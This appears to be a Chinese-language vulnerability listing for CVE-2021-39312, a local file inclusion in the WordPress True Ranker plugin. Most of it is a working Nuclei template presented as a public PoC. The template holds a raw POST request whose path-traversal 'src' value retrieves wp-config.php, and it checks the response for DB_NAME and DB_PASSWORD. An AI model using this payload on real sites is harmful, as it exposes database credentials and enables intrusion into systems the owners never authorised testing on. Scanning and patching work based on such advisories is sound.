CVE-2021-39312: WordPress True Ranker <2.2.4 - Local File Inclusion

日期: 2025-08-01 | 影响软件: WordPress True Ranker | POC: 已公开

漏洞描述

WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.

PoC代码[已公开]

id: CVE-2021-39312

info:
  name: WordPress True Ranker <2.2.4 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress True Ranker before version 2.2.4 allows sensitive configuration files such as wp-config.php, to be accessed via the src parameter found in the ~/admin/vendor/datatables/examples/resources/examples.php file via local file inclusion.
  remediation: Fixed in version 2.2.4
  reference:
    - https://wpscan.com/vulnerability/d48e723c-e3d1-411e-ab8e-629fe1606c79
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39312
    - https://plugins.trac.wordpress.org/browser/seo-local-rank/tags/2.2.2/admin/vendor/datatables/examples/resources/examples.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39312
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-39312
    cwe-id: CWE-22
    epss-score: 0.85472
    epss-percentile: 0.99326
    cpe: cpe:2.3:a:trueranker:true_ranker:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: trueranker
    product: true_ranker
    framework: wordpress
  tags: cve,cve2021,unauth,lfr,wpscan,wp-plugin,lfi,wp,wordpress,trueranker

http:
  - raw:
      - |
        POST /wp-content/plugins/seo-local-rank/admin/vendor/datatables/examples/resources/examples.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        src=%2Fscripts%2Fsimple.php%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwp-config.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a90ba141ee1018e6824921e511573e5553c2da1f00de62a9059995d6168173d5022100c850e19134707b03df6addaf1d1c7e6350f96cfbff4e61f29d471572c08222a1:922c64590222798bb761d5b6d8e72950